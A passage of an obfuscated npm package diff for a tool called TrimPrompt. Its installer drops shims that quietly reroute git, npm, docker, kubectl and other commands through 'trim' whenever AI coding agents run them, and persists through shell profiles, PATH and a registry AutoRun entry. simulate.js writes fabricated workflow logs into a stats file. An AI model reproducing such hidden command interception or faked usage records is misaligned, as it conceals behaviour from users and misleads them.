_0x5b666d=_0x5292ab[_0xdfe60e(0x1d4)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0xdfe60e(0x1ab)](_0x4e28fe,_0x5b666d,_0xdfe60e(0x1d0));}catch{}}function a0_0x48ae(_0x2bca7e,_0x19ce88){const _0x2644ec=a0_0x2644();return a0_0x48ae=function(_0x48ae98,_0x3a75c2){_0x48ae98=_0x48ae98-0x158;let _0x2384e7=_0x2644ec[_0x48ae98];return _0x2384e7;},a0_0x48ae(_0x2bca7e,_0x19ce88);}function collectPowerShellProfiles(){const _0x4b80ba=a0_0x27503b,_0x274af5=getExecSync(),_0xec0387=[],_0x3b3291=[[_0x4b80ba(0x170),'$PROFILE.CurrentUserCurrentHost'],[_0x4b80ba(0x170),_0x4b80ba(0x1ce)]];try{_0x274af5(_0x4b80ba(0x15f),{'stdio':_0x4b80ba(0x1c2)}),_0x3b3291[_0x4b80ba(0x19a)]([_0x4b80ba(0x1af),_0x4b80ba(0x1ce)]);}catch{}for(const [_0x122a7d,_0x20bfa7]of _0x3b3291){try{const _0x2e3f05=_0x274af5(_0x122a7d+'\x20-NoProfile\x20-Command\x20\x22'+_0x20bfa7+'\x22',{'encoding':_0x4b80ba(0x1d0)})[_0x4b80ba(0x19e)]();_0x2e3f05&&!_0xec0387[_0x4b80ba(0x1ae)](_0x29e6b0=>_0x29e6b0['toLowerCase']()===_0x2e3f05[_0x4b80ba(0x1df)]())&&_0xec0387[_0x4b80ba(0x19a)](_0x2e3f05);}catch{}}return _0xec0387;}function getBashProfilesWindows(){const _0x2b023e=a0_0x27503b,_0x5b9cca=os['homedir']();return['.bashrc','.bash_profile'][_0x2b023e(0x1b0)](_0x1fc8e3=>path[_0x2b023e(0x1d4)](_0x5b9cca,_0x1fc8e3));}function a0_0x2644(){const _0x464236=['#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','.bashrc','__createBinding','-Command','pnpm','path','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','$PROFILE.CurrentUserAllHosts','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(','utf8','git','prototype','cat','join','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','homedir','powershell.exe','pipe','rmdirSync','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','child_process','includes','kubectl','toLowerCase','chmodSync','\x0a#\x20','225309pdOVib','\x20@args\x20}\x20else\x20{\x20&\x20','\x20\x22$@\x22\x0afi\x0a','\x20&\x20','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','trim.ps1','writable','.bash_profile','mkdirSync','configurable','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','\x20\x20trim\x20','cargo','installShims','read','================================================================================','create','755','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','APPDATA','\x20%*','getOwnPropertyDescriptor','appendFileSync','execFileSync','existsSync','tree','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','powershell','execSync','win32','__importStar','30QyCfpJ','.profile','split',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','message','env',';=%\x22','defineProperty','115ccXSxf','\x20\x22$@\x22;\x20fi\x0a','docker',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','.cmd','if\x20exist\x20\x22','replace','__esModule','default','2633015kNXzDM','6pXlhvs','Failed\x20to\x20uninstall\x20shims:\x20','10372fimhge','__setModuleDefault','\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20','.trimprompt','export\x20PATH=\x22','platform',':$PATH\x22','Set-ItemProperty\x20-Path\x20\x27','pip','shims','npx','.zshrc','dirname','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','12ZzuIUU','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','powershell\x20-NoProfile\x20-Command\x20\x22','glab','push','npm',')\x20else\x20(','-NoProfile','trim','ruff','pytest','\x20\x20exit\x20/b\x20%ERRORLEVEL%','\x22\x20(','TrimPrompt\x20successfully\x20installed\x20for\x20','hasOwnProperty','981959OYnrMu','filter','93678XmbVij',':$PATH\x22\x0a','\x20\x20set\x20\x22PATH=%PATH:','\x0aexport\x20PATH=\x22','writeFileSync','if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','yarn','some','pwsh','map','grep','length','readFileSync','\x27,\x20\x27User\x27)','1555024ywlrBo','10dpeRDf',';\x22\x20+\x20$env:PATH\x0a','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x0a$env:PATH\x20=\x20\x22','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','@echo\x20off','937143FponXo','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','trim.cmd','Remove-ItemProperty\x20-Path\x20\x27','.ps1','ignore','TrimPrompt\x20Shims\x20PATH','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','readdirSync'];a0_0x2644=function(){return _0x464236;};return a0_0x2644();}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x388c1b=a0_0x27503b,_0x2adef1=path[_0x388c1b(0x1d4)](os[_0x388c1b(0x1d6)](),_0x388c1b(0x18b),'shims');try{!fs[_0x388c1b(0x16d)](_0x2adef1)&&fs[_0x388c1b(0x15d)](_0x2adef1,{'recursive':!![]});const _0x5c5e20=os[_0x388c1b(0x18d)]()===_0x388c1b(0x172);for(const _0x2bfbb2 of SHIMMED_COMMANDS){if(_0x5c5e20){const _0x4ef6f3=path[_0x388c1b(0x1d4)](_0x2adef1,_0x2bfbb2+_0x388c1b(0x180)),_0x11f9df=process['env']['APPDATA']?path['join'](process[_0x388c1b(0x179)][_0x388c1b(0x168)],_0x388c1b(0x19b)):'',_0x3ba3e8=_0x11f9df?path[_0x388c1b(0x1d4)](_0x11f9df,_0x388c1b(0x1bf)):'%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd',_0x52261e=[_0x388c1b(0x1bc),_0x388c1b(0x1cf),_0x388c1b(0x1a9)+_0x2adef1+';=%\x22','\x20\x20'+_0x2bfbb2+_0x388c1b(0x169),_0x388c1b(0x1a1),')',_0x388c1b(0x181)+_0x3ba3e8+_0x388c1b(0x1a2),_0x388c1b(0x160)+_0x2bfbb2+_0x388c1b(0x169),_0x388c1b(0x19c),_0x388c1b(0x1a9)+_0x2adef1+_0x388c1b(0x17a),'\x20\x20'+_0x2bfbb2+_0x388c1b(0x169),')'][_0x388c1b(0x1d4)]('\x0d\x0a')+'\x0d\x0a';fs[_0x388c1b(0x1ab)](_0x4ef6f3,_0x52261e,_0x388c1b(0x1d0));const _0x21ed6e=path['join'](_0x2adef1,_0x2bfbb2+_0x388c1b(0x1c1)),_0x41dc7e=_0x388c1b(0x1ac)+_0x2bfbb2+_0x388c1b(0x1e3)+_0x2bfbb2+_0x388c1b(0x18a)+_0x2bfbb2+'\x20@args\x0a}\x0a';fs[_0x388c1b(0x1ab)](_0x21ed6e,_0x41dc7e,_0x388c1b(0x1d0));const _0x28adcd=path['join'](_0x2adef1,_0x2bfbb2),_0x38b8d2=_0x2adef1['replace'](/\\/g,'/')[_0x388c1b(0x182)](/^([A-Za-z]):/,(_0x2fa5ad,_0x749ae5)=>'/'+_0x749ae5[_0x388c1b(0x1df)]()),_0x1fa8b6=_0x388c1b(0x195)+_0x2bfbb2+_0x388c1b(0x159)+_0x38b8d2+_0x388c1b(0x177)+_0x2bfbb2+_0x388c1b(0x1be)+_0x38b8d2+_0x388c1b(0x17f)+_0x2bfbb2+_0x388c1b(0x1e4);fs[_0x388c1b(0x1ab)](_0x28adcd,_0x1fa8b6,_0x388c1b(0x1d0));}else{const _0x113196=path[_0x388c1b(0x1d4)](_0x2adef1,_0x2bfbb2),_0x52aaf5=_0x388c1b(0x1c6)+_0x2bfbb2+_0x388c1b(0x1b9)+_0x2bfbb2+_0x388c1b(0x17d);fs[_0x388c1b(0x1ab)](_0x113196,_0x52aaf5,'utf8'),fs[_0x388c1b(0x1e0)](_0x113196,_0x388c1b(0x166));}}let _0x19f3d0=![],_0x4587c1='';if(_0x5c5e20)try{const _0x48602f=getExecSync(),_0x50884e=_0x388c1b(0x1e1)+PROFILE_MARKER+_0x388c1b(0x1ba)+_0x2adef1+_0x388c1b(0x1b7),_0x237f3b=collectPowerShellProfiles();for(const _0x1e24f6 of _0x237f3b){ensureProfileContains(_0x1e24f6,_0x2adef1,_0x50884e);}try{const _0x4e58c9=_0x2adef1[_0x388c1b(0x182)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x4d8843,_0x386d22)=>'/'+_0x386d22[_0x388c1b(0x1df)]()),_0x54cbb8='\x0a#\x20'+PROFILE_MARKER+_0x388c1b(0x1aa)+_0x4e58c9+':$PATH\x22\x0a',_0x2a8566=getBashProfilesWindows();let _0x43b404=![];for(const _0x28a89f of _0x2a8566){fs[_0x388c1b(0x16d)](_0x28a89f)&&(ensureProfileContains(_0x28a89f,_0x4e58c9,_0x54cbb8),_0x43b404=!![]);}!_0x43b404&&ensureProfileContains(_0x2a8566[0x0],_0x4e58c9,_0x54cbb8);}catch{}const _0x329ffe=_0x388c1b(0x1bb),_0x3330a2=_0x48602f(_0x388c1b(0x198)+_0x329ffe+'\x22',{'encoding':_0x388c1b(0x1d0),'stdio':['pipe','pipe',_0x388c1b(0x1c2)]})[_0x388c1b(0x19e)]();if(!_0x3330a2[_0x388c1b(0x1dd)](_0x2adef1)){const _0x5870=_0x2adef1+';'+_0x3330a2,_0x5f4059=_0x5870[_0x388c1b(0x182)](/'/g,'\x27\x27'),_0x4a3ec5='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x5f4059+_0x388c1b(0x1b4);_0x48602f(_0x388c1b(0x198)+_0x4a3ec5+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x388c1b(0x1c2)});}const _0x47ed3c=path[_0x388c1b(0x1d4)](process[_0x388c1b(0x179)][_0x388c1b(0x168)]||'',_0x388c1b(0x19b),_0x388c1b(0x15a));if(fs[_0x388c1b(0x16d)](_0x47ed3c))try{fs['unlinkSync'](_0x47ed3c);}catch{}_0x19f3d0=!![];}catch(_0x1e3c53){_0x4587c1=_0x388c1b(0x1c4)+_0x2adef1;}else try{const _0x3d65bb=_0x388c1b(0x18c)+_0x2adef1+_0x388c1b(0x1a8),_0x252cd2=os[_0x388c1b(0x1d6)](),_0x5a0986=[_0x388c1b(0x1c8),'.zshrc','.bash_profile',_0x388c1b(0x175)];let _0x66fc18=![];for(const _0x2dac66 of _0x5a0986){const _0x22bec3=path[_0x388c1b(0x1d4)](_0x252cd2,_0x2dac66);fs[_0x388c1b(0x16d)](_0x22bec3)&&(ensureProfileContains(_0x22bec3,_0x2adef1,_0x388c1b(0x1e1)+PROFILE_MARKER+'\x0a'+_0x3d65bb),_0x66fc18=!![]);}if(!_0x66fc18){const _0xacf65c=path['join'](_0x252cd2,_0x388c1b(0x1c8));ensureProfileContains(_0xacf65c,_0x2adef1,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x3d65bb);}_0x19f3d0=!![];}catch(_0x2863ec){_0x4587c1=_0x388c1b(0x1da)+_0x2adef1+_0x388c1b(0x18e);}const _0x390b56=[_0x388c1b(0x164),_0x388c1b(0x1d5),'================================================================================',_0x388c1b(0x1c7),_0x388c1b(0x167),_0x388c1b(0x164)][_0x388c1b(0x1d4)]('\x0a'),_0x24d0db=_0x19f3d0?_0x390b56:_0x388c1b(0x1a3)+SHIMMED_COMMANDS['length']+'\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x4587c1;return{'success':!![],'pathDir':_0x2adef1,'message':_0x24d0db};}catch(_0x24380c){return{'success':![],'pathDir':_0x2adef1,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x24380c[_0x388c1b(0x178)]};}}function uninstallShims(){const _0x406a09=a0_0x27503b,_0x2f24a4=path[_0x406a09(0x1d4)](os[_0x406a09(0x1d6)](),_0x406a09(0x18b),_0x406a09(0x191)),_0x3fa9d1=os[_0x406a09(0x18d)]()===_0x406a09(0x172);try{if(_0x3fa9d1){const _0xabc3f9=getExecSync();try{const _0x4af66a=getExecFileSync(),_0x1559c5='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x46ec14='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1559c5+_0x406a09(0x1db),_0xa4cf2b=_0x4af66a(_0x406a09(0x1d7),[_0x406a09(0x19d),_0x406a09(0x1ca),_0x46ec14],{'encoding':_0x406a09(0x1d0),'stdio':['pipe',_0x406a09(0x1d8),_0x406a09(0x1c2)]})[_0x406a09(0x19e)]();if(_0xa4cf2b[_0x406a09(0x1dd)](_0x2f24a4)){const _0x12e24f=_0xa4cf2b[_0x406a09(0x176)](_0x406a09(0x158))['filter'](_0x4dcb7b=>!_0x4dcb7b['includes'](_0x2f24a4));if(_0x12e24f[_0x406a09(0x1b2)]===0x0){const _0x2276a1=_0x406a09(0x1c0)+_0x1559c5+_0x406a09(0x197);_0x4af66a('powershell.exe',[_0x406a09(0x19d),_0x406a09(0x1ca),_0x2276a1],{'stdio':'ignore'});}else{const _0x2b3694=_0x12e24f[_0x406a09(0x1d4)](_0x406a09(0x158)),_0x383e9d=_0x406a09(0x18f)+_0x1559c5+_0x406a09(0x1b8)+_0x2b3694+'\x27';_0x4af66a(_0x406a09(0x1d7),['-NoProfile','-Command',_0x383e9d],{'stdio':_0x406a09(0x1c2)});}}}catch{}try{const _0x3f9bfd=collectPowerShellProfiles();for(const _0x357521 of _0x3f9bfd){removeProfileBlock(_0x357521,PROFILE_MARKER);}}catch{}try{for(const _0x189e55 of getBashProfilesWindows()){removeProfileBlock(_0x189e55,PROFILE_MARKER);}}catch{}try{const _0x2640f2='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x2fae16=_0xabc3f9(_0x406a09(0x198)+_0x2640f2+'\x22',{'encoding':_0x406a09(0x1d0),'stdio':[_0x406a09(0x1d8),'pipe',_0x406a09(0x1c2)]})[_0x406a09(0x19e)]();if(_0x2fae16['includes'](_0x2f24a4)){const _0x589a80=_0x2fae16[_0x406a09(0x176)](';')[_0x406a09(0x1a6)](_0x1dbebb=>_0x1dbebb[_0x406a09(0x19e)]()['toLowerCase']()!==_0x2f24a4['toLowerCase']())['join'](';'),_0xe51657=_0x589a80['replace'](/'/g,'\x27\x27'),_0x365e54=_0x406a09(0x1cd)+_0xe51657+_0x406a09(0x1b4);_0xabc3f9(_0x406a09(0x198)+_0x365e54+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x406a09(0x1c2)});}}catch{}}else{const _0x430a5d=os['homedir'](),_0x5191aa=[_0x406a09(0x1c8),_0x406a09(0x193),_0x406a09(0x15c),_0x406a09(0x175)];for(const _0x207a62 of _0x5191aa){removeProfileBlock(path[_0x406a09(0x1d4)](_0x430a5d,_0x207a62),PROFILE_MARKER);}}if(fs[_0x406a09(0x16d)](_0x2f24a4)){const _0x455a07=fs[_0x406a09(0x1c5)](_0x2f24a4);for(const _0x1305a1 of _0x455a07){fs['unlinkSync'](path['join'](_0x2f24a4,_0x1305a1));}fs[_0x406a09(0x1d9)](_0x2f24a4);}return{'success':!![],'message':_0x406a09(0x16f)};}catch(_0x20d8b0){return{'success':![],'message':_0x406a09(0x187)+_0x20d8b0[_0x406a09(0x178)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5d8ed7=a0_0x29db;(function(_0x3d213e,_0x552897){const _0x3418b9=a0_0x29db,_0x13ea83=_0x3d213e();while(!![]){try{const _0xf479d5=-parseInt(_0x3418b9(0x8b))/0x1*(parseInt(_0x3418b9(0xab))/0x2)+-parseInt(_0x3418b9(0xb9))/0x3+-parseInt(_0x3418b9(0xa0))/0x4+-parseInt(_0x3418b9(0x8f))/0x5+-parseInt(_0x3418b9(0xa1))/0x6+-parseInt(_0x3418b9(0x87))/0x7*(parseInt(_0x3418b9(0x83))/0x8)+-parseInt(_0x3418b9(0xb3))/0x9*(-parseInt(_0x3418b9(0x88))/0xa);if(_0xf479d5===_0x552897)break;else _0x13ea83['push'](_0x13ea83['shift']());}catch(_0x2cbc45){_0x13ea83['push'](_0x13ea83['shift']());}}}(a0_0x248a,0x94440));function a0_0x29db(_0x5270c2,_0x4ca74c){const _0x248a1f=a0_0x248a();return a0_0x29db=function(_0x29db41,_0x354b95){_0x29db41=_0x29db41-0x78;let _0x2b4e96=_0x248a1f[_0x29db41];return _0x2b4e96;},a0_0x29db(_0x5270c2,_0x4ca74c);}function a0_0x248a(){const _0x35b792=['stringify','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','length','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','tracker','toISOString','Completed\x203\x20of\x203\x20assets\x20successfully.','npm\x20install\x20lodash\x20express\x20uuid\x20react','writeFileSync','2046036wPrsmi','4171974CBhDZH','pip\x20install\x20tensorflow\x20pandas\x20numpy','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','now','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','kubectl\x20get\x20pods\x20-n\x20production','utf8','log','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','2152SSGtDS','timestamp','join','raw','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','gpt-4o','322479UPUaoc','test\x20tests::test_case_','comp','path','repeat','homedir','3181470dLQbFk','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','.trimprompt','stats.json','./tracker','TRIMPROMPT_MODEL','2788216nVAdBx','gemini-1-5-pro','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','gemini-1-5-flash','7cHCrDu','1190UcElfb','defineProperty','cmd','34cgrkoW','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','logExecution','getLogs','5020770tgRSIO','floor','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','random'];a0_0x248a=function(){return _0x35b792;};return a0_0x248a();}Object[a0_0x5d8ed7(0x89)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x5d8ed7(0x81));console[a0_0x5d8ed7(0xa9)](a0_0x5d8ed7(0x98));const models=['claude-3-5-sonnet',a0_0x5d8ed7(0xb2),'gpt-4o-mini',a0_0x5d8ed7(0x84),a0_0x5d8ed7(0x86),'claude-3-opus'],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x5d8ed7(0x78)[a0_0x5d8ed7(0xb7)](0x32),'comp':a0_0x5d8ed7(0x94),'exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x5d8ed7(0x7e)+a0_0x5d8ed7(0xb4)[a0_0x5d8ed7(0xb7)](0x28)+a0_0x5d8ed7(0x96),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x5d8ed7(0x9e),'raw':a0_0x5d8ed7(0xa3)+a0_0x5d8ed7(0xa6)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x5d8ed7(0x7d),'exitCode':0x0},{'cmd':a0_0x5d8ed7(0xb0),'raw':a0_0x5d8ed7(0x9a)+a0_0x5d8ed7(0x8c)+a0_0x5d8ed7(0xaf)+a0_0x5d8ed7(0x9d),'comp':a0_0x5d8ed7(0x7c),'exitCode':0x0},{'cmd':a0_0x5d8ed7(0xa7),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x5d8ed7(0x7a)+a0_0x5d8ed7(0xa4)+a0_0x5d8ed7(0x7b)+a0_0x5d8ed7(0x91),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x5d8ed7(0xa2),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x5d8ed7(0x95),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':a0_0x5d8ed7(0xb1)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':a0_0x5d8ed7(0x85),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x5d8ed7(0x99)+a0_0x5d8ed7(0x79)+a0_0x5d8ed7(0xaa),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x5d8ed7(0xa5)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x5d8ed7(0x97)]],commandItem=commands[Math[a0_0x5d8ed7(0x90)](Math[a0_0x5d8ed7(0x92)]()*commands[a0_0x5d8ed7(0x97)])];process['env'][a0_0x5d8ed7(0x82)]=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x5d8ed7(0x9c)](),log=tracker_1[a0_0x5d8ed7(0x9b)][a0_0x5d8ed7(0x8d)](commandItem[a0_0x5d8ed7(0x8a)],commandItem[a0_0x5d8ed7(0xae)],commandItem[a0_0x5d8ed7(0xb5)],commandItem['exitCode']),logs=tracker_1[a0_0x5d8ed7(0x9b)][a0_0x5d8ed7(0x8e)]();logs['length']>0x0&&(logs[logs[a0_0x5d8ed7(0x97)]-0x1][a0_0x5d8ed7(0xac)]=timestamp,require('fs')[a0_0x5d8ed7(0x9f)](require(a0_0x5d8ed7(0xb6))[a0_0x5d8ed7(0xad)](require('os')[a0_0x5d8ed7(0xb8)](),a0_0x5d8ed7(0x7f),a0_0x5d8ed7(0x80)),JSON[a0_0x5d8ed7(0x93)](logs,null,0x2),a0_0x5d8ed7(0xa8)));}console[a0_0x5d8ed7(0xa9)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
1
+ 'use strict';const a0_0x1338cb=a0_0x1df4;(function(_0x152e42,_0xb53dd0){const _0x2fa005=a0_0x1df4,_0x4ebd24=_0x152e42();while(!![]){try{const _0x1b509c=-parseInt(_0x2fa005(0x109))/0x1+-parseInt(_0x2fa005(0x10d))/0x2*(parseInt(_0x2fa005(0x11d))/0x3)+parseInt(_0x2fa005(0x128))/0x4*(parseInt(_0x2fa005(0x147))/0x5)+parseInt(_0x2fa005(0x141))/0x6*(parseInt(_0x2fa005(0x111))/0x7)+parseInt(_0x2fa005(0x13f))/0x8*(-parseInt(_0x2fa005(0x14a))/0x9)+parseInt(_0x2fa005(0x142))/0xa*(-parseInt(_0x2fa005(0x148))/0xb)+parseInt(_0x2fa005(0x13d))/0xc;if(_0x1b509c===_0xb53dd0)break;else _0x4ebd24['push'](_0x4ebd24['shift']());}catch(_0x14867b){_0x4ebd24['push'](_0x4ebd24['shift']());}}}(a0_0x2ecd,0x3c0cc));function a0_0x2ecd(){const 